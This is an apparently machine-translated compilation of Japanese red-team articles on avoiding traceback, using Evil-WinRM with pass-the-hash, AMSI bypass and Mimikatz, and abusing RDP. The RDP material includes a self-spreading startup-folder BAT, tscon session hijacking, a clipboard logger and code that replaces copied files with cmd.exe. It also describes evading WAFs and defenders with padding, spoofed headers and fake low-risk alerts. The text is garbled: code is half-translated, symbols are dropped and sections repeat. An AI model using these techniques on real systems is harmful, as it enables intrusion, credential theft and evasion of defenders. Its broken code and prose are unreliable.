この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA:

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト:

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル:すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)

image-20201009113709670

image-20201009112952911

of3kym24zad11279.png

この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA:

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

序文

Evil-WinRM

このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。

Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます

管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです

HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。

https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

邪悪なwinrmの紹介

Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL

暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用

Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。

ダウンロードリンク:https: //github.com/hackplayers/evil-winrm

winrmサービスディスカバリー

上記のように、リモートホストで有効になっている場合

WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。

5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。

NMAP -P 5985、5986 192.168 .1 .19

1049983-20230310091812296-761646061.png

邪悪なwinRMヘルプコマンドヘルプ

Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。

Evil-WinRM -H 1049983-20230310091813306-1791686835.png

プレーンテキストパスワードでログイン

アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。

Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 1049983-20230310091814013-1687837742.png

プレーンテキストパスワードでログイン - SSLを有効にする

上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。

邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S 1049983-20230310091814913-1666008939.png

ntlmハッシュを使用したログイン - ハッシュによる攻撃

イントラネットの浸透または解像度

Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。

Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます

セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 1049983-20230310091815919-322255289.png

load powershellスクリプト

Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します

Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。

https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1

1049983-20230310091816698-1045152289.png

Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell

バイパス-4msi

Invoke-mimikatz.ps1

Invoke-Mimikatz 1049983-20230310091817650-2062958944.png

邪悪なwinrm

を使用してログを保存します

この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 1049983-20230310091818503-1169021792.png

保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。

1049983-20230310091819303-1925120427.png

リモートフルパス関数を無効にします

デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091820319-334324530.png

カラーインターフェイスを無効にします

Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091821002-86216428.png

実行可能ファイルを実行します

この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。

1049983-20230310091821739-279820440.png

Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC

バイパス-4msi

メニュー

Invoke-binary /opt/privsc/winpeasx64.exe 1049983-20230310091822804-340723136.png

実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。

1049983-20230310091823704-102115081.png

サービスクエリに邪悪なwinrmを使用

時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。

この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。

プログラムホストを実行しているすべてのサービスをリストします。

1049983-20230310091824661-464154626.png

邪悪なウィンルムを使用したファイル転送

Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。

1049983-20230310091825389-2110387118.png

ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。

notes.txt /root/raj/notes.txtをダウンロードしてください

1049983-20230310091826103-463726946.png

1049983-20230310091826844-1420175986.png

docker

の邪悪なwinrmを使用しています

このツールもインストールできます

Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。

メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。

docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 1049983-20230310091827602-1375680794.png

邪悪なWINRMキーでログイン

Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。

Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s 1049983-20230310091828303-682569362.png

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bd2xkcunf0n1123.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

